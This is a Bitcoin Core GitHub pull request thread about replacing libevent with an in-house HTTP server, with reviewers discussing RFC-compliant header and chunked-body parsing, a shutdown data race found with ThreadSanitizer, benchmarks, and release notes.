Replace libevent with our own HTTP and socket-handling implementation #35182

pull pinheadmz wants to merge 29 commits into bitcoin:master from pinheadmz:http-rewrite-30Apr2026 changing 25 files +2472 −613
  1. pinheadmz commented at 3:41 PM on April 30, 2026: member

    Continued from #32061.

    This is a major component of removing libevent as a dependency of the project, by replacing the HTTP server used for RPC and REST with one implemented entirely within the Bitcoin Core codebase. The new HTTPServer class runs its own I/O thread, handling socket connections with code based on #30988, but tailored specifically for HTTP.

    Commit strategy:

    • Isolate the existing libevent-based HTTP server in a namespace http_libevent
    • Implement HTTP in a new namespace http_bitcoin (classes like HTTPRequest, HTTPClient, etc...)
    • Switch bitcoind from the libevent server to the new server
    • Clean up (delete http_libevent)

    RFC compliance

    I ran https://www.http-probe.com/ against v31.0 release and this PR branch at commit a2c3548053. While both HTTP servers failed several of the very picky compliance tests, the only differences in test results between the two branches is an improvement in the test results of the PR branch.

    Raw test results:

    Test result comparison:

    Fuzz testing

    libfuzzer

    fuzzamoto

    Integration testing:

    I am testing the new HTTP server by forking projects that integrate with bitcoin via HTTP and running their integration tests with bitcoind built from this branch (on Github actions). I will continue adding integrations over time, and re-running these CI tests as this branch gets rebased:

    Benchmarks

    To get a general idea of server speed vs. master I ran the functional test suite on all three platforms, three trials each, from the first and last commit of this branch. The first commit represents master, but adds a few extra functional tests, so the overall suite is the same in the last commit.

    Full results

    Summary:

    Tested at 37ff331f60

    There appears to be a 1-2% slow down on Ubuntu and MacOS but a 5% speed up on Windows

    Ubuntu - master Ubuntu - branch MacOS - master Macos - branch Windows - master Windows - branch
    AVERAGE 253 260 187 190 521 493
    % diff to master 2.766798419 1.604278075 -5.37428023
  2. DrahtBot commented at 3:42 PM on April 30, 2026: contributor

    <!--e57a25ab6845829454e8d69fc972939a-->

    The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

    <!--006a51241073e994b41acfe9ec718e94-->

    Code Coverage & Benchmarks

    For details see: https://corecheck.dev/bitcoin/bitcoin/pulls/35182.

    <!--021abf342d371248e50ceaed478a90ca-->

    Reviews

    See the guideline for information on the review process.

    Type Reviewers
    Concept ACK rkrux, fanquake, 0xB10C
    Stale ACK vasild

    If your review is incorrectly listed, please copy-paste <code>&lt;!--meta-tag:bot-skip--&gt;</code> into the comment that the bot should ignore.

    <!--174a7506f384e20aa4161008e828411d-->

    Conflicts

    Reviewers, this pull request conflicts with the following ones:

    • #35355 (Use atomics for determining whether trace logging is enabled by ajtowns)
    • #35206 (doc: fix doxygen links to threads in developer-notes.md by pinheadmz)
    • #34411 ([POC] Full Libevent removal by fanquake)
    • #34038 (logging: replace -loglevel with -trace, expose trace logging via RPC by ajtowns)
    • #33966 (refactor: disentangle miner startup defaults from runtime options by Sjors)
    • #26022 (Add util::ResultPtr class by ryanofsky)
    • #25722 (refactor: Use util::Result class for wallet loading by ryanofsky)
    • #25665 (refactor: Add util::Result failure types and ability to merge result values by ryanofsky)

    If you consider this pull request important, please also help to review the conflicting pull requests. Ideally, start with the one that should be merged first.

    <!--5faf32d7da4f0f540f40219e4f7537a3-->

    LLM Linter (✨ experimental)

    Possible places where comparison-specific test macros should replace generic comparisons:

    • [test/functional/interface_http.py] assert response.status == err -> replace with assert_equal(response.status, err)
    • [test/functional/interface_http.py] assert response.getheader('WWW-Authenticate') is not None -> replace with assert_not_equal(response.getheader('WWW-Authenticate'), None)
    • [test/functional/interface_http.py] assert response.getheader('WWW-Authenticate') is not None -> replace with assert_not_equal(response.getheader('WWW-Authenticate'), None)

    <sup>2026-05-22 20:03:26</sup>

  3. fanquake added the label RPC/REST/ZMQ on Apr 30, 2026
  4. in src/httpserver.h:65 in e728c71f5a
      92 | -/** Return evhttp event base. This can be used by submodules to
      93 | - * queue timers or custom events.
      94 | - */
      95 | -struct event_base* EventBase();
      96 | +//! Maximum size of an HTTP request body (32 MB).
      97 | +constexpr uint64_t MAX_BODY_SIZE{0x02000000};
    


    vasild commented at 5:01 PM on April 30, 2026:
    //! Maximum size of an HTTP request body.
    constexpr uint64_t MAX_BODY_SIZE{32_MiB};
    

    (and include <util/byte_units.h>)


    pinheadmz commented at 5:29 PM on April 30, 2026:

    cool, using util/byte_units here

  5. in src/httpserver.cpp:417 in e728c71f5a
     497 | +            }
     498 | +
     499 | +            const auto chunk_size{ToIntegral<uint64_t>(util::TrimStringView(chunk_size_noext), /*base=*/16)};
     500 | +            if (!chunk_size) throw std::runtime_error("Cannot parse chunk length value");
     501 | +
     502 | +            if (*chunk_size > MAX_SIZE - m_body.size()) throw ContentTooLargeError("Chunk will exceed max body size");
    


    vasild commented at 5:08 PM on April 30, 2026:

    I think this is the case, but it is not immediately obvious that MAX_SIZE is greater or equal to m_body.size(). We do not want MAX_SIZE - m_body.size() to turn negative. It wouldn't hurt to add an extra check for this. if (MAX_SIZE < m_body.size()) { throw ..., or assert().


    pinheadmz commented at 5:30 PM on April 30, 2026:

    Adding the underflow check here. Also switched to MAX_BODY_SIZE which shouldve been in last rebase

  6. in src/httpserver.cpp:436 in e728c71f5a
     516 | +                // See https://httpwg.org/specs/rfc9112.html#rfc.section.7.1.2
     517 | +                const size_t trailer_start{reader.Consumed()};
     518 | +                while (true) {
     519 | +                    auto maybe_trailer = reader.ReadLine();
     520 | +                    if (reader.Consumed() - trailer_start > MAX_HEADERS_SIZE) {
     521 | +                      throw std::runtime_error("HTTP chunked trailer exceeds size limit");
    


    vasild commented at 5:10 PM on April 30, 2026:

    2 more spaces in the indentation of throw.

                        if (reader.Consumed() - trailer_start > MAX_HEADERS_SIZE) {
                            throw std::runtime_error("HTTP chunked trailer exceeds size limit");
    

    pinheadmz commented at 5:36 PM on April 30, 2026:

    👍

  7. vasild approved
  8. vasild commented at 5:14 PM on April 30, 2026: contributor

    ACK e728c71f5adafdcbc4b6a29d154ea5705003ba60

    <details> <summary>Show Signature</summary>

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA256
    
    ACK e728c71f5adafdcbc4b6a29d154ea5705003ba60
    -----BEGIN PGP SIGNATURE-----
    
    iQQzBAEBCAAdFiEE5k2NRWFNsHVF2czBVN8G9ktVy78FAmnzjdkACgkQVN8G9ktV
    y7/UOSAAgi7UxBy3GrlhfUNH2hLetiZDtswp6EWjSgcRj3GjYUdKjhikRaED4zqc
    bOSh942CdU0LFTm14PqZ4bhybqjfMe8mZmvSoBWx+kGJKyiNOWM0P4qDzscKq5IC
    adAvv6A9SxzfnFSskf1aM97X3WeFgTBeT4S2ycZ6uurdqCCbfwtMtGgj0wqBw+Na
    r8p17RjJUiz78FNPaQ5Y0GDXsKhiTbs1OXZ8Tn2qtviy1QjAyDZLxo9tR768Cf8d
    32VcOMRoxBQ70fCtds5Zne+CjlGlAqw4P5tCKd337L2/3wO+uxwIAlAQHu1MM41f
    itFV8+d34lM7VdsyWTNYYgc0dDqgvUroNZdTHwGJJzEni3RbTYv4H6bW13Av76ci
    ncUOYJFTW+XexMLKvl8QZaWNASKZGPHtp9jciOvEtORRIdPDmEJxgLpQEYT3ITES
    oI5uLCd9uGcUK/zOvIdfUDMdL30fiB0YCcRU9kW3DebdYAWdBdovB/S0NP0VP0J2
    F18MHXGybUektYyqYavjuRzBE+lmfZlHW3cblUvbVTzU6/BeCiJHDDaDiRYcV3ba
    qz6D+JU67f+Q8HxDk/oLXfHRQYODn847USgaFuc9TqK495+jEyBfSNmGWGZPVMAX
    GA6hTPmVq5z6pqoKTbvF1v4aCv4k6n+2EJBH1o4N7Q+fHxNVlzOsff/yCiZ88oaw
    W1aM2Co2pJ2YESxddUR1QnpbP9JFMRAlJYzGkDfMjD8rLKZppQm2v4fnu0R5xZxX
    Q6bBSeRhzBs+QLs180rzluUNJ8laIAzAmuJe4zOH6MPT/Js7siogj1NYQK4/t123
    3/QQiSFWJ1hHbg8D6M5wAaBjpEoxzJ825xjMc6zud7UjHlslBYPsWbYxvz2gDZ8r
    5gbsqoprGOteHvc0eyuDf7yxLoSdqUYtl9EXwZmLt20edBcbDHW49hGd6JsTCZk8
    MNGOISi4MiXkPjOa/XBil3IN25YuB4rAr4Bx71D/ptgl8JjuVGU6HIYpoySMj89D
    uWR/IV15UcPXQBAhJsh7ZCOsY9MzfQ8QLskiLsX9Mfpe6/MOfi1N3XFWjozehPkq
    YzQ/82BK8HwmMJ/hXIppJhlwWncHvnQrtZ1NSsR8Bs0ca86GZKHR6s7LFFupej40
    OWEI6cNzSk2hUosNgttmcHdjznIwxNcDF7wfVDW1yc7h9XEUUgiMzU69E53J6Hgk
    GTW92NM/kw5kvY54ghehJDvNLY8Pq1PblIOZmXakMYrWpDxYlu2l0zN+sYZ7sdkV
    JfU7yWtymLHrg0TdIPuTzuhTrvpQTksYO/vo3hyJS/5XqrIWbyEgc+LtZvnIl8wY
    Cf6tnL9dxbIWtp0UoqzGrooYBUvXlA==
    =2kAW
    -----END PGP SIGNATURE-----
    

    vasild's public key is on openpgp.org

    </details>

  9. pinheadmz force-pushed on Apr 30, 2026
  10. pinheadmz commented at 7:51 PM on April 30, 2026: member

    push to 0a4929c0bf:

    Address feedback from @vasild

  11. pinheadmz force-pushed on Apr 30, 2026
  12. pinheadmz commented at 8:15 PM on April 30, 2026: member

    push to 5952e48ff4:

    rebase on master to fix CI (see #35186)

  13. in src/httpserver.cpp:310 in 0a4929c0bf outdated
     360 | +        // https://httpwg.org/specs/rfc9110.html#rfc.section.5.6.2
     361 | +        const size_t pos{line.find(':')};
     362 | +        if (pos == std::string::npos) throw std::runtime_error("HTTP header missing colon (:)");
     363 | +
     364 | +        // Whitespace is optional
     365 | +        std::string key = util::TrimString(std::string_view(line).substr(0, pos));
    


    janb84 commented at 8:15 PM on April 30, 2026:
            // RFC 9110 Section 5.6.2: no whitespace is allowed between the field name and colon.
            if (pos > 0 && (line[pos - 1] == ' ' || line[pos - 1] == '\t')) {
                throw std::runtime_error("HTTP header has whitespace before colon (:)");
            }
    
            // optional whitespace is allowed around the field value but not within the field name.
            std::string key{std::string_view(line).substr(0, pos)};
    

    NIT: current code allows optional whitespace in a way that is niet compliant with RFC 9112 Section 5.1. This (as per RFC) MUST return a 400, the code currently returns a 405


    b-l-u-e commented at 6:03 PM on May 3, 2026:

    I agree this should be rejected with 400 Bad Request , thou i tested both sides and the branch return 200 OK, not 405, while on master, the same request returns 401 Unauthorized So this also looks like a libevent parity regression


    pinheadmz commented at 5:20 PM on May 4, 2026:

    @b-l-u-e just to be clear, the current code behaves the same as libevent? I can't tell if 401 from libevent means it accepted the extra whitespace or not.

  14. in src/test/httpserver_tests.cpp:161 in 0a4929c0bf outdated
     165 | +    {
     166 | +        // contains NUL
     167 | +        util::LineReader reader{std::string_view{"X-Custom: foo\0bar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
     168 | +        BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Invalid header contains NUL"});
     169 | +    }
     170 | +    {
    


    janb84 commented at 8:15 PM on April 30, 2026:
        {
            // RFC 9110 Section 5.6.2: no whitespace allowed between field name and colon
            util::LineReader reader{"Host : value\n", /*max_line_length=*/MAX_HEADERS_SIZE};
            BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"HTTP header has whitespace before colon (:)"});
        }
        {
            // Tab before colon is also rejected
            util::LineReader reader{"Host\t: value\n", /*max_line_length=*/MAX_HEADERS_SIZE};
            BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"HTTP header has whitespace before colon (:)"});
        }
        {
    

    Extra test for the RFC 9110 no whitespace allowed between field name and colon rule.


    pinheadmz commented at 8:18 PM on April 30, 2026:

    How does this test play on master? See #32061#pullrequestreview-4172127857 if this is the same issue, I think libevent is also lenient about whitesspace in headers


    janb84 commented at 8:44 PM on April 30, 2026:

    master fails also. so lets park this for an followup.

  15. DrahtBot added the label CI failed on Apr 30, 2026
  16. DrahtBot commented at 8:16 PM on April 30, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task iwyu: https://github.com/bitcoin/bitcoin/actions/runs/25186108957/job/73843745290</sub> <sub>LLM reason (✨ experimental): CI failed because IWYU reported missing/incorrect includes (auto-fix required) and the job was forced to fail (Failure generated from IWYU).</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  17. DrahtBot removed the label CI failed on Apr 30, 2026
  18. rkrux commented at 7:32 AM on May 1, 2026: contributor

    Concept ACK 5952e48ff4490e3c0607bd34284112bcdbdeee05, will review

    Can update the developer notes as well in this PR by replacing the libevent occurrences with the new one here:

    https://github.com/bitcoin/bitcoin/blob/404470505a8b574b5e4b0e1ffc481ed3fc8caf77/doc/developer-notes.md?plain=1#L686-L700

  19. vasild approved
  20. vasild commented at 8:56 AM on May 1, 2026: contributor

    ACK 5952e48ff4490e3c0607bd34284112bcdbdeee05

    <details> <summary>Show Signature</summary>

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA256
    
    ACK 5952e48ff4490e3c0607bd34284112bcdbdeee05
    -----BEGIN PGP SIGNATURE-----
    
    iQQzBAEBCAAdFiEE5k2NRWFNsHVF2czBVN8G9ktVy78FAmn0arQACgkQVN8G9ktV
    y7+8Lx/9G3dv9qVk1OA65C7SeNOOMc/jE2gXqkmhSQ6M9SKzrsUjBAetZb5vH7Q1
    XiVOc7WKC2UKXWm7kvl0+LoBNpI2T33KkAE+WUsD82AgFHIlt+vWWlqCDBRbrrVq
    iKOPBcr4WJL7vvvs/x86+w8J8kGvZVATDijujqm5k3SP5FimJ6eGSw4cStrp0yrb
    Jm0ZXAwT5Aplg/7w496KxvR8W1+n9af8RX8aoWl3Ooc6XSd+tlFrM8sSDxCumekB
    QQmW5PdBlr9n40kMXJd42ItcbV35fZSlIYafH9Zgj3N9M4W3aV5w4CiVVr9sd0tR
    oH2KTSV8L+S8RnM/O6v3DQmj9vL0cPxYl2gV5P25wQozz3KzOdMS7wRnYPEg5+qj
    UQPr7cSMf31PzolScHbGsxjZNYpvHy5Db3IJ0coG6wC2Cv1ARV2K0XF5JhyvtmYS
    3KWOMtelQ52rYzmHgG1QDDYn9LL8rcEQbHGeBRunwQiiutG/VMAMnfPAeUamNj3Y
    QsNWV3NQwTfbQCM8P8Pwso5k5k53sh0eOGGofsPh2q7fLwS1WIRjzikAOVjPDThJ
    JF57PPcgC3Zq0YmDKWyHa7fi7WiYDAzYVE+Z8ML65efhFQpQCoE4dvZalj/jCDWV
    /CfSTyuEAAsJJpDqLV5NO6bJcxbYPdcb1KmMrgMjKkNNUw8RPP8nYucjOHTHu8ku
    CT9y23+uB6p5uphVaRk6Ay8/yolucaHWx/ykBp0gldU2bb/PO2sTvl/pWJ6mAl+g
    +t5Ei89CvbdzjvOIbHOEP7Oiim52ZPuYQ9owr85v1tCkdZHBRJYf1BuxI2RefMAo
    EikQk35kDqk0fW3+uY4OTiG21bnvbK1R/ISXtmrX1tbmwBCAuyr3CfXv0dxqsKqM
    BQW5vf/5vMAfYCepzB0xBrAL+nb71m5IIiTOtuTZLFboNdt6klOv9W8ksJvjvtNg
    4crJwWsL8zx9xdCgoashHQ55kuNnKfaCXt6Z8DGLxtfQKRiPFW+06ZVaq9dkhBmO
    vjmqDej2Tiic9bWIDgUhwca+FP4KRRwx7bEB6P4tcA/GDRRfr6RiKWiMjCmvqNwS
    jF/vaXMa7kHp/bbF2qJVWtKg14kJMBlsEDMdfXtgccs38lDehNqZRQHHVp/fyKth
    IIp5tRjqsVInakGkpuDvzEQxYxOgtxrc7/7L7ZBKHC/28dZL1JtL92BlHeO0g3mb
    QlaCAyJnXcg5lhN03VtjKuGFrRQ7mRS1DfUucN6D7LaqP2k4P4gqM+QjwA4DnfiI
    d9OecGJleocumnbFfaMsWOgKnS1T2TFhojxnGxCY31+HpnR0Kzb7D7n1srEHOH1t
    e9YQXXclQIn+SwIlERiph5QNPimXCA==
    =xzuk
    -----END PGP SIGNATURE-----
    

    vasild's public key is on openpgp.org

    </details>

  21. DrahtBot requested review from rkrux on May 1, 2026
  22. b-l-u-e commented at 12:18 PM on May 1, 2026: contributor

    i noticed a behavior that PUT is being treated as a known HTTPRequestMethod but the HTTP dispatch layer only rejects UNKNOWN methods. so PUT / is allowed through the registered path handler and is later rejected by JSON-RPC rather than being rejected at the HTTP layer like other unsupported methods.

    i tested the behavior:

     curl -i --user user:pass -X PUT \
      -H 'Content-Type: application/json' \
      --data '{"method":"getblockcount","params":[]}' \
      http://127.0.0.1:18443/
    echo
    HTTP/1.1 405 Method Not Allowed
    Date: Fri, 01 May 2026 12:19:35 GMT
    Content-Length: 41
    Content-Type: text/html; charset=ISO-8859-1
    
    JSONRPC server handles only POST requests
    
  23. pinheadmz commented at 2:48 PM on May 1, 2026: member

    @b-l-u-e

    PUT is being treated as a known HTTPRequestMethod

    I think this is correct, and on master with libevent your curl command has the same result. In the future bitcoin might support an HTTP API with PUT so I don't think it needs to be rejected here. Also note there is a functional test in this PR that covers the more suspicious methods:

        def check_disallowed_http_methods(self):
            self.log.info("Check that unsafe or unsupported HTTP methods are rejected")
            for method in ['TRACE', 'CONNECT', 'DELETE', 'PATCH', 'OPTIONS']:
    
  24. b-l-u-e commented at 3:39 PM on May 1, 2026: contributor

    I think this is correct, and on master with libevent your curl command has the same result. In the future bitcoin might support an HTTP API with PUT so I don't think it needs to be rejected here. Also note there is a functional test in this PR that covers the more suspicious methods:

        def check_disallowed_http_methods(self):
            self.log.info("Check that unsafe or unsupported HTTP methods are rejected")
            for method in ['TRACE', 'CONNECT', 'DELETE', 'PATCH', 'OPTIONS']:
    

    ahh yes it was an existing behavior confirmed with libevent and yeah these methods carries more risk as well thanks for clarificaton

  25. b-l-u-e commented at 7:59 PM on May 1, 2026: contributor

    i think theres data race on m_request_dispatcher during shutdown when SetRequestHandler is called from the main thread during InterruptHTTPServer() while the I/O thread is still inside MaybeDispatchRequestsFromClient invoking the same function

    heres main thread during shutdown

    diff --git a/src/httpserver.h b/src/httpserver.h
    +++ b/src/httpserver.h
    @@ -0,0 +238,1 @@
    +    void SetRequestHandler(std::function<void(std::unique_ptr<HTTPRequest>&&)> func) { m_request_dispatcher = func; }
    
    

    here were its called from

    +++ b/src/httpserver.cpp
    @@ -0,0 +1195,7 @@
    +void InterruptHTTPServer()
    +{
    +    LogDebug(BCLog::HTTP, "Interrupting HTTP server");
    +    if (g_http_server) {
    +        // Reject all new requests
    +        g_http_server->SetRequestHandler(RejectRequest);
    +    }
    

    HTTP I/O thread

    +++ b/src/httpserver.cpp
    @@ -0,0 +977,5 @@
    +    if (!client->m_req_queue.empty()) {
    +        client->m_req_busy = true;
    +        m_request_dispatcher(std::move(client->m_req_queue.front()));
    +        client->m_req_queue.pop_front();
    +    }
    

    called from I/O thread started by StartSocketsThreads()

    +++ b/src/httpserver.cpp
    @@ -0,0 +709,5 @@
    +void HTTPServer::StartSocketsThreads()
    +{
    +    m_thread_socket_handler = std::thread(&util::TraceThread,
    +                                          "http",
    +                                          [this] { ThreadSocketHandler(); });
    

    <details> <summary>output</summary>

    build-tsan/tsan.log.115918
    2:WARNING: ThreadSanitizer: data race (pid=115918)
    6:    [#2](/bitcoin-bitcoin/2/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e581b)
    26:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c1c6)
    100:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:247 in std::_Function_base::_M_empty() const
    103:WARNING: ThreadSanitizer: data race (pid=115918)
    106:    [#1](/bitcoin-bitcoin/1/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e583c)
    126:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c213)
    200:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:591 in std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>::operator()(std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&) const
    203:WARNING: ThreadSanitizer: data race (pid=115918)
    209:    [#4](/bitcoin-bitcoin/4/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e5849)
    229:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c17d)
    303:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/invoke.h:60 in __invoke_impl<void, httpserver_tests::race_set_request_handler_during_dispatch::test_method()::<lambda(std::unique_ptr<http_bitcoin::HTTPRequest>&&)>&, std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> > >
    
    build-tsan/tsan.log.45095
    2:WARNING: ThreadSanitizer: data race (pid=45095)
    6:    [#2](/bitcoin-bitcoin/2/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e581b)
    26:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c385)
    100:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:247 in std::_Function_base::_M_empty() const
    103:WARNING: ThreadSanitizer: data race (pid=45095)
    106:    [#1](/bitcoin-bitcoin/1/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e583c)
    126:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c213)
    200:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/std_function.h:591 in std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>::operator()(std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&) const
    203:WARNING: ThreadSanitizer: data race (pid=45095)
    209:    [#4](/bitcoin-bitcoin/4/) http_bitcoin::HTTPServer::MaybeDispatchRequestsFromClient(std::shared_ptr<http_bitcoin::HTTPClient> const&) const /home/user/projects/bitcoin/src/httpserver.cpp:979 (test_bitcoin+0x13e5849)
    229:    [#3](/bitcoin-bitcoin/3/) http_bitcoin::HTTPServer::SetRequestHandler(std::function<void (std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> >&&)>) /home/user/projects/bitcoin/src/httpserver.h:238 (test_bitcoin+0x90c17d)
    303:SUMMARY: ThreadSanitizer: data race /usr/include/c++/13/bits/invoke.h:60 in __invoke_impl<void, httpserver_tests::race_set_request_handler_during_dispatch::test_method()::<lambda(std::unique_ptr<http_bitcoin::HTTPRequest>&&)>&, std::unique_ptr<http_bitcoin::HTTPRequest, std::default_delete<http_bitcoin::HTTPRequest> > >
    
  26. in src/httpserver.cpp:451 in 5952e48ff4
     531 | +            }
     532 | +
     533 | +            // Even though every chunk size is explicitly declared,
     534 | +            // they are still terminated by a CRLF we don't need.
     535 | +            auto crlf = reader.ReadLine();
     536 | +            if (!crlf || !crlf.value().empty()) throw std::runtime_error("Improperly terminated chunk");
    


    b-l-u-e commented at 9:45 PM on May 2, 2026:

    i found regression in the chunked request body parser. A valid chunked request can be split by TCP between the chunk data and the trailing CRLF on master branch libevent waits for the remaining bytes and then processes the request but for this branch treats the temporary missin CRLF as malformed and returns 400 bad request

    I sent a chunked RPC request in two writes

    1. headers + chunk size + chunk body without the trailing CRLF
    2. after 1 second sent "\r\n0\r\n\r\n"
    this branch returns:
    HTTP/1.1 400 Bad Request
    
    master returns:
    HTTP/1.1 200 OK
    {"result":101,"error":null,"id":"t"}
    

    pinheadmz commented at 5:18 PM on May 4, 2026:

    Thanks, caught this and added a test. Also refactored the "last chunk" section of LoadBody so its easier to read. The fix is splitting up if (!crlf || !crlf.value().empty()) into separate handlers.

  27. pinheadmz force-pushed on May 4, 2026
  28. pinheadmz commented at 5:41 PM on May 4, 2026: member

    push to 2c1deb6329:

    Address feedback from @janb84 and @b-l-u-e. Fix a race condition and chunked transfer edge case.

    i think theres data race on m_request_dispatcher during shutdown

    Great catch. I fixed this by putting a lock on m_request_dispatcher

    • re: #35182#pullrequestreview-4210432122

    Can update the developer notes as well in this PR by replacing the libevent occurrences with the new one here:

    Added this change and also fixed the torcontrol thread in which libevent was removed by #34158!

  29. DrahtBot added the label CI failed on May 4, 2026
  30. DrahtBot commented at 7:01 PM on May 4, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task i686, no IPC: https://github.com/bitcoin/bitcoin/actions/runs/25333774798/job/74273789135</sub> <sub>LLM reason (✨ experimental): CI failed because CTest reported 1 failing test in the Bitcoin Core Test Suite: sock_tests.</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  31. maflcko commented at 2:45 PM on May 5, 2026: member

    The CI failure in the [test ancestor commits](https://github.com/bitcoin/bitcoin/actions/runs/25333774798/job/74427763314?pr=35182#logs) task is unrelated. In fact, it is fixed by this pull request, see #34731 (comment)

  32. in src/httpserver.h:481 in 2c1deb6329 outdated
     588 | +    //! `m_connection_busy=true` can be overridden by `m_disconnect=true` (we disconnect).
     589 | +    std::atomic_bool m_connection_busy{true};
     590 | +
     591 | +    //! Client has requested to keep the connection open after all requests have been responded to.
     592 | +    //! Set by (potentially multiple) worker threads and checked in the HTTPServer I/O loop.
     593 | +    //! `m_keep_alive=true` can be overriden `by HTTPServer.m_disconnect_all_clients` (we disconnect).
    


    maflcko commented at 2:46 PM on May 5, 2026:

    nit: Not sure if you want to address the llm linter nits, but I think they are correct? (https://github.com/bitcoin/bitcoin/pull/35182#issuecomment-4353912025) Feel free to ignore them, though, just some nits.


    pinheadmz commented at 2:40 PM on May 12, 2026:

    taking all these suggestions on next push, thanks!

  33. fanquake commented at 10:45 AM on May 8, 2026: member

    Concept ACK

  34. pinheadmz referenced this in commit e8e4cb3238 on May 8, 2026
  35. pinheadmz force-pushed on May 8, 2026
  36. pinheadmz commented at 7:27 PM on May 8, 2026: member

    push to e8e4cb3238:

    Address comments from @janb84 and @b-l-u-e about generally copying libevent behavior vs "doing HTTP better". I am changing my stance, we should fix libevent's weird edge cases. See #35182 (review) for an example. I outlined the rest in a release-notes file. The changes in our HTTP behavior compared to libevent are also codified in the changes to the interface_http test in commit 9c9cf30336 http: switch servers from libevent to bitcoin.

    I'll continue fuzz & integration next week. Since the edge cases we're changing are intended to be more compliant with RFC than libevent I don't expect any conflicts with common HTTP clients (unless they are more poorly maintained than libevent!)

    For convenience,

    • Stricter limit on maximum headers size
    • Reject requests with whitespace in headers field-names
    • "Line Folding" is rejected (whitespace at start of a headers line)
    • Tolerate % at the end of requested URLs
    • Multiple "Content-Length" headers with different values are rejected
  37. DrahtBot removed the label CI failed on May 8, 2026
  38. in doc/release-notes-35182.md:8 in e8e4cb3238
       0 | @@ -0,0 +1,12 @@
       1 | +HTTP: RPC / REST
       2 | +----------------
       3 | +
       4 | +The HTTP server has been rewritten from scratch to replace libevent. (#35182)
       5 | +
       6 | +Certain edge cases will observe different behavior to be more RFC-compliant:
       7 | +
       8 | +- Stricter limit on maximum headers size
    


    b-l-u-e commented at 9:46 PM on May 10, 2026:

    nit: maybe specify size to 8192 bytes


    pinheadmz commented at 2:40 PM on May 12, 2026:

    added this note and specified the reason

  39. 0xB10C commented at 4:12 PM on May 11, 2026: contributor

